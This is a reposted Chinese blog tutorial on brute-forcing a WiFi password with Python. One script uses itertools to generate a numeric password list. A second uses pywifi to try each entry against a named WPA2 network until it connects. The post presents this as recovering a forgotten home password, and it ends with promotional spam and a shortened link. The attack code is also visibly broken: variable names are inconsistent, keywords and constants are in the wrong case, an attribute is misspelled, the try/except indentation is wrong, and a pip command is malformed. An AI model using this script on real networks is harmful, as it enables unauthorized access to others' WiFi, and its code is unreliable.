欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

弱智破解法——用python破解WIFI

程序员文章站 2022-03-04 09:15:08
前言 文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理。 作者:李嘉图 PS:如有需要Python学习资料的小伙伴可以加点击下方链接自行获取http://t.cn/A6Zvjdun 起因 今天有个朋友家里wifi密码忘了,没有能连上的 ......

 

弱智破解法——用python破解WIFI

前言

文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理。

作者:李嘉图

ps:如有需要python学习资料的小伙伴可以加点击下方链接自行获取http://t.cn/a6zvjdun

起因

今天有个朋友家里wifi密码忘了,没有能连上的设备,抓瞎了.

刚好看到一篇博客,学了一下,成功了,非常简单.这个方法用来破自家的wifi效率很高,你自己设计可能的算法肯定最贴近你自己设计密码的思路,什么名字加生日啊或者车牌号啥的.甚至自己把可能的密码都写出来,写上几十个,存成txt文件就可以了.

这篇文章学习用还可以,动歪脑筋的请放弃吧,完全不懂算法的话,生成密码本就得几天光是陌生人的名字+生日的组合,写出来就得几个g了,你想想几个g的txt文件是啥概念 ,在挨个试错破解,又得很久.

原理:

根据一个固定的密码本,一个一个试密码,直到成功为止 (确实很弱智)

难点:

密码本的设计(设计越合理,越接近生活中的常用密码,破解成功率越大,破解速度越快)

我们一般是在网上找现成的常用密码本,或者自己设计算法,猜测密码,这里先介绍一下自己设计的最简单的密码生成器

密码生成器:

利用python的itertools工具

注意:下载这个包的时候,名字是more-itertools(我也不知道为啥.应该是什么历史原因)

在cmd面板输入: py -m pip more-itertools

题外话:推荐使用清华园的国内镜像下载,先更改pip的下载链接

py -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pip -u #先下载最新的pip

pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple #设置pip的国内镜像

下面是最简单的密码生成器,主要是示例一下,算法可以自己改

import itertools as its

words='1234567890'#迭代器
r=its.product(words,repeat=3)#生成密码本,五位数的话,repeat=5
dic=open('./wifipasswords.txt','a')#以追加模式打开文件,如果文件不存在,会自动创建
for i in r:
    dic.write(''.join(i))
    dic.write(''.join('\n'))
    print(i)
dic.close()
print('密码本已经生成')

模拟wifi连接

import pywifi
from pywifi import const
import time

#下面的自定义函数是测试连接,返回连接结果
def wificonnect(pwd):
    wifi=pywifi.pywifi()#抓取本机的网卡接口
    ifaces=wifi.interfaces()[0]#获取第一个无线网卡
    iface.disconnect()#断开所有连接
    time.sleep(1)#休息一秒
    wifistatus=ifces.status()#连接状态
    if wifistatus==const.iface_disconnected:#如果没有wifi连接
        profile=pywifi.profile()#创建wifi连接文件
        profile.ssid='gebilaowang'#要连接的wifi的名称
        profile.auth=const.auth_alg_open#网卡的开放状态
        profile.akm.append(const.akm_type_wpa2psk)#wifi加密算法,一般的wifi加密算法是wps
        profile.clipher=const.cipher_type_ccmp#加密单元
        profile.key=pwd#读取试用密码
        ifaces.remove_all_network_profiles()#删除失败的文件
        #设定新的连接文件
        tep_profile=ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        time.sleep(3)#留时间给系统反应,就像我们平常连wifi,输对密码后要等一下
        if ifaces.status()==const.iface_connected:#如果连接成功
            return true
        else:
            return false
    else:
        print('你已经连好wifi了,别贪心啦')

#下面的自定义函数是读取密码本
def readpassword():
    print('开始破解:')
    path='./wifipasswords.txt'#密码本路径
    file=open(path,'r')#只读模式打开密码本
    while true:
        try:
            pad=file.readline()#一行一行读取
            bool=wificonnect(pad)#测试连接,返回连接结果

            if bool:
                print('密码已经破解: ',pad)
                print('wifi已经连接!!!')
                break
            else:
                print('密码破解中...密码校对',pad)
                print('\n 匹配失败')
    except:
        continue
#开始破解
readpassword()

破解成功率取决于密码本的设计,有机会的话下次写一下

2020年最新python教程:

如果你处于想学python或者正在学习python,python的教程不少了吧,但是是最新的吗?

说不定你学了可能是两年前人家就学过的内容,在这小编分享一波2020最新的python教程。

 

弱智破解法——用python破解WIFI

 

 

弱智破解法——用python破解WIFI

 

弱智破解法——用python破解WIFI

 

弱智破解法——用python破解WIFI

以上这些教程小编已经为大家打包准备好了,希望对正在学习的你有所帮助!

获取方式,私信小编 “ 资料 ”,即可免费获取哦!